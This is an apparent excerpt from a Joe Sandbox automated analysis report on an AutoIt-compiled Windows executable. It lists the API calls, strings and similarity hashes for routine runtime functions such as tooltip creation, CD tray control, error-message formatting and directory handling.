MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 001AFA0D
GetClientRect.USER32(?,?), ref: 001AFA1A
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 001AFA3F
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 001AFA6A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 9e6eba221f70a842202ce235b81f5fbf06d5e0dc82c7d82ae005c16a8d1d97b4
Instruction ID: e297065621fd794f2d1631269a6924db409246734c47d7b3bb7c5122d373f3e4
Opcode Fuzzy Hash: 9e6eba221f70a842202ce235b81f5fbf06d5e0dc82c7d82ae005c16a8d1d97b4
Instruction Fuzzy Hash: 6A514A74900709AFDB209FA8DD89B7EBBB5FF04708F00492CE596A29A0D774A945CB10

Function 001C01E4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 001C026A
_wcschr.LIBCMT ref: 001C0278
_wcscpy.LIBCMT ref: 001C028F
_wcscat.LIBCMT ref: 001C029E
_wcscat.LIBCMT ref: 001C02BC
_wcscpy.LIBCMT ref: 001C02DD
__wsplitpath.LIBCMT ref: 001C03BA
_wcscpy.LIBCMT ref: 001C03DF
_wcscpy.LIBCMT ref: 001C03F1
_wcscpy.LIBCMT ref: 001C0406
_wcscat.LIBCMT ref: 001C041B
_wcscat.LIBCMT ref: 001C042D
_wcscat.LIBCMT ref: 001C0442

Part of subcall function 001BC890: _wcscmp.LIBCMT ref: 001BC92A
Part of subcall function 001BC890: __wsplitpath.LIBCMT ref: 001BC96F
Part of subcall function 001BC890: _wcscpy.LIBCMT ref: 001BC982
Part of subcall function 001BC890: _wcscat.LIBCMT ref: 001BC995
Part of subcall function 001BC890: __wsplitpath.LIBCMT ref: 001BC9BA
Part of subcall function 001BC890: _wcscat.LIBCMT ref: 001BC9D0
Part of subcall function 001BC890: _wcscat.LIBCMT ref: 001BC9E3

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 001C0235

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 2955681530-2806939583
Opcode ID: 3d780e6f9421e543bb2c253846480e1c2a843502ac90e8bd69884487bf2c0487
Instruction ID: 80b0989f7a40f7f3d4f1cc492e52271610d70bb206a6fcef50ce2a34c688fb14
Opcode Fuzzy Hash: 3d780e6f9421e543bb2c253846480e1c2a843502ac90e8bd69884487bf2c0487
Instruction Fuzzy Hash: CF91B271504701AFCB25EB50C955F9FB3E8BFA8314F04885DF5499B292EB34EA44CB92

Function 001DCC68 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001DCD0B
DestroyWindow.USER32(00000000,?), ref: 001DCD83

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 001DCE04
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 001DCE26
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001DCE35
DestroyWindow.USER32(?), ref: 001DCE52
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00170000,00000000), ref: 001DCE85
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001DCEA4
GetDesktopWindow.USER32 ref: 001DCEB9
GetWindowRect.USER32(00000000), ref: 001DCEC0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 001DCED2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 001DCEEA

Part of subcall function 0018B155: GetWindowLongW.USER32(?,000000EB), ref: 0018B166

Strings

0, xrefs: 001DCD2B
tooltips_class32, xrefs: 001DCDFD, 001DCE7E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: f5e723e6e394643c1e3961c79598e9301262bbfb25c13c63128435d8c2e14775
Instruction ID: 941a587591a4cad0494a103e7bafd8b28fcf0741de764480394c87507c1ec0e4
Opcode Fuzzy Hash: f5e723e6e394643c1e3961c79598e9301262bbfb25c13c63128435d8c2e14775
Instruction Fuzzy Hash: 3071BCB114430AAFE724CF28DC45FBA7BE6EB88704F040919F985973A1DB70E811CB55

Function 001BB428 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 350timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 001BB46D
VariantCopy.OLEAUT32(?,?), ref: 001BB476
VariantClear.OLEAUT32(?), ref: 001BB482
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 001BB561
__swprintf.LIBCMT ref: 001BB591
VarR8FromDec.OLEAUT32(?,?), ref: 001BB5BD
VariantInit.OLEAUT32(?), ref: 001BB63F
SysFreeString.OLEAUT32(00000016), ref: 001BB6D1
VariantClear.OLEAUT32(?), ref: 001BB727
VariantClear.OLEAUT32(?), ref: 001BB736
VariantInit.OLEAUT32(00000000), ref: 001BB772

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 001BB58B
Default, xrefs: 001BB615

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: ef3b895e15f24f016369ff035162ce642bc7231e8e80531c14ae496ee1c1c5e3
Instruction ID: 95e5cb2d18982f6a5281fa7ad4937f8bafda6bf716b948e48266435b8f8ad921
Opcode Fuzzy Hash: ef3b895e15f24f016369ff035162ce642bc7231e8e80531c14ae496ee1c1c5e3
Instruction Fuzzy Hash: D1C11071A08215EFCB14DF65D8C4BBAB7B4FF49300F158465E44A9B982DBB0EC80DBA1

Function 001D6F67 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001D6FF9
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001D7044

Strings

CHECK, xrefs: 001D7064
EXISTS, xrefs: 001D70AD
UNCHECK, xrefs: 001D7208
GETTOTALCOUNT, xrefs: 001D7027
SELECT, xrefs: 001D71DD
COLLAPSE, xrefs: 001D708A
GETTEXT, xrefs: 001D717F
ISCHECKED, xrefs: 001D71AF
GETITEMCOUNT, xrefs: 001D710E
GETSELECTED, xrefs: 001D713C
EXPAND, xrefs: 001D70DE

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 9e8062b2dbbf04a64b8fda0b59be1c0fa0a71a6a8d7325762015f6ebb83d7565
Instruction ID: 434861e3b93e5cafc8b21db1f94343df1ffa5638cc6eb4582b3d98beeef3e982
Opcode Fuzzy Hash: 9e8062b2dbbf04a64b8fda0b59be1c0fa0a71a6a8d7325762015f6ebb83d7565
Instruction Fuzzy Hash: 099183342047019FCB18FF14D851A6EB7A2AFA9354F04885DF8965B7D2DB31ED46CB82

Function 001DE305 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 001DE3BB
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,001DBCBF), ref: 001DE417
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 001DE457
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 001DE49C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 001DE4D3
FreeLibrary.KERNEL32(?,00000004,?,?,?,?,001DBCBF), ref: 001DE4DF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 001DE4EF
DestroyCursor.USER32(?), ref: 001DE4FE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 001DE51B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 001DE527

Part of subcall function 00191BC7: __wcsicmp_l.LIBCMT ref: 00191C50

Strings

.icl, xrefs: 001DE331
.exe, xrefs: 001DE351
.dll, xrefs: 001DE374

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIcon__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 3907162815-1154884017
Opcode ID: 3f55492cf1de4371bceb6e4bee210a6ce358caf6d3b33faa5aa5b146ba66f9bc
Instruction ID: a6e127ed446aeb1c9f1be0aa8e6877810d75945a7449e34004386e5dd31d86bb
Opcode Fuzzy Hash: 3f55492cf1de4371bceb6e4bee210a6ce358caf6d3b33faa5aa5b146ba66f9bc
Instruction Fuzzy Hash: EB61CF71940219BEEB14EF64DC46FBE7BB8BB08711F108206F915EA2D0DB74D980DBA0

Function 001C0E41 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 001C0EFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 001C0F0F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 001C0F1B
__wsplitpath.LIBCMT ref: 001C0F79
_wcscat.LIBCMT ref: 001C0F91
_wcscat.LIBCMT ref: 001C0FA3
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 001C0FB8
SetCurrentDirectoryW.KERNEL32(?), ref: 001C0FCC
SetCurrentDirectoryW.KERNEL32(?), ref: 001C0FFE
SetCurrentDirectoryW.KERNEL32(?), ref: 001C101F
_wcscpy.LIBCMT ref: 001C102B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 001C106A

Strings

*.*, xrefs: 001C1025

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: d4bd98a446a26d2ef0162ae90c3474290683a2672eb922eecdf51c907c0b5a2b
Instruction ID: 3cf3039234d3a3779380efc4aae5878a1686853f1153b9012f28ea676ab762f1
Opcode Fuzzy Hash: d4bd98a446a26d2ef0162ae90c3474290683a2672eb922eecdf51c907c0b5a2b
Instruction Fuzzy Hash: 6A616FB2504345AFC710EF64C845EAEB7E9FF99310F04891EF98987251EB31EA45CB92

Function 001BDAAD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

CharLowerBuffW.USER32(?,?), ref: 001BDB26
GetDriveTypeW.KERNEL32 ref: 001BDB73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001BDBBB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001BDBF2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001BDC20

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

Strings

close cd wait, xrefs: 001BDC0B
open , xrefs: 001BDB82
open, xrefs: 001BDB4D
set cd door , xrefs: 001BDBC1
closed, xrefs: 001BDB3A, 001BDB43
type cdaudio alias cd wait, xrefs: 001BDB9E
wait, xrefs: 001BDBDD
close, xrefs: 001BDB2C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: c96ee8f780e0a1d05d0bd5b8eb39af3c6a9b7a7308fb04857b9c90fba4a2b38f
Instruction ID: 1fa85f4b3097fcc2a15f701b47ba46614a21c8d177bec2f7a314f97084c8e3cd
Opcode Fuzzy Hash: c96ee8f780e0a1d05d0bd5b8eb39af3c6a9b7a7308fb04857b9c90fba4a2b38f
Instruction Fuzzy Hash: 5B515B71104305AFC704EF10D98196AB7F9EFA9718F10886CF89A972A1EB71EE05CF52

Function 001B3110 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 129windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,001E4085,00000016,0000138B,?,00000000,?,?,00000000,?), ref: 001B3145
LoadStringW.USER32(00000000,?,001E4085,00000016), ref: 001B314E

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

GetModuleHandleW.KERNEL32(00000000,00000000,?,00000FFF,?,?,001E4085,00000016,0000138B,?,00000000,?,?,00000000,?,00000040), ref: 001B3170
LoadStringW.USER32(00000000,?,001E4085,00000016), ref: 001B3173
__swprintf.LIBCMT ref: 001B31B3
__swprintf.LIBCMT ref: 001B31C5
_wprintf.LIBCMT ref: 001B326C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 001B3283

Strings

Line %d (File "%s"):, xrefs: 001B31BF
^ ERROR, xrefs: 001B3216
%s (%d) : ==> %s: %s %s, xrefs: 001B3267
Line %d:, xrefs: 001B31AD
Error: , xrefs: 001B323C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 3e875b5aad245c732420877fc42634d4d16289ad94520532aaeb4846f389b81b
Instruction ID: 108a1dd89027f1f36ef618dc56cf95fe33d9637e676406614cda6e18e6f6e409
Opcode Fuzzy Hash: 3e875b5aad245c732420877fc42634d4d16289ad94520532aaeb4846f389b81b
Instruction Fuzzy Hash: 60415372940219BACB14FBD0DD87EEEB77DAF28701F104065F205B20A2EB756F54CAA0

Function 001BD950 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 001BD96C
__swprintf.LIBCMT ref: 001BD98E
CreateDirectoryW.KERNEL32(?,00000000), ref: 001BD9CB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 001BD9F0
_memset.LIBCMT ref: 001BDA0F
_wcsncpy.LIBCMT ref: 001BDA4B
DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 001BDA80
CloseHandle.KERNEL32(00000000), ref: 001BDA8B
RemoveDirectoryW.KERNEL32(?), ref: 001BDA94
CloseHandle.KERNEL32(00000000), ref: 001BDA9E

Strings

\??\%s, xrefs: 001BD988
\, xrefs: 001BD9A4
:, xrefs: 001BD9AF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 31846e78bdd7b19a5dc4196b1e58c1c850c3bf040438dcb0be5e809002530cb0
Instruction ID: 622de0a80490b8049c854dd05bc0469704a405eb2cca4caf3c810a53d830afc6
Opcode Fuzzy Hash: 31846e78bdd7b19a5dc4196b1e58c1c850c3bf040438dcb0be5e809002530cb0
Instruction Fuzzy Hash: 0A31A676600209AADF20DFA4EC49FEE77BDBF84704F1481A5F519D2061E7709A81CBA1

Function 001DE541 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,001DBD04,?,?), ref: 001DE564
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,001DBD04,?,?,00000000,?), ref: 001DE57B
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,001DBD04,?,?,00000000,?), ref: 001DE586
CloseHandle.KERNEL32(00000000,?,?,?,?,001DBD04,?,?,00000000,?), ref: 001DE593
GlobalLock.KERNEL32(00000000), ref: 001DE59C
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,001DBD04,?,?,00000000,?), ref: 001DE5AB
GlobalUnlock.KERNEL32(00000000), ref: 001DE5B4
CloseHandle.KERNEL32(00000000,?,?,?,?,001DBD04,?,?,00000000,?), ref: 001DE5BB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 001DE5CC
OleLoadPicture.OLEAUT32(?,00000000,00000000,001FD9BC,?), ref: 001DE5E5
GlobalFree.KERNEL32(00000000), ref: 001DE5F5
GetObjectW.GDI32(00000000,00000018,?), ref: 001DE619
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 001DE644
DeleteObject.GDI32(00000000), ref: 001DE66C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 001DE682

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 0d78eb0f216bcf7c0ff6bed45cafd1bd31adae8adbb370c9ba9dd027e30ee9f4
Instruction ID: 2fa79c4960512c42823fbca2747e87e0a8e5a9af243c94f2a3faba5286f28e52
Opcode Fuzzy Hash: 0d78eb0f216bcf7c0ff6bed45cafd1bd31adae8adbb370c9ba9dd027e30ee9f4
Instruction Fuzzy Hash: BB413B75600204BFDB11AF65EC88EBE7BBAEF89716F108059F905DB260D7319D41DB60

Function 001C0B20 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 001C0C93
_wcscat.LIBCMT ref: 001C0CAB
_wcscat.LIBCMT ref: 001C0CBD
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 001C0CD2
SetCurrentDirectoryW.KERNEL32(?), ref: 001C0CE6
GetFileAttributesW.KERNEL32(?), ref: 001C0CFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 001C0D18
SetCurrentDirectoryW.KERNEL32(?), ref: 001C0D2A

Strings

*.*, xrefs: 001C0D69

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 4f81ea299b3d15f1b68a2f7e1a3e631f8888eee8a840fdc43af588797f310e18
Instruction ID: f0ab33331d1c4eae0e1085a4d4b20fe5e83b7fd74579aba01d4761b3e362f89f
Opcode Fuzzy Hash: 4f81ea299b3d15f1b68a2f7e1a3e631f8888eee8a840fdc43af588797f310e18
Instruction Fuzzy Hash: A2819F71504205DFCB25DF64C844FAAB7E8ABA9314F14896EE88AC7251E734ED84CB92

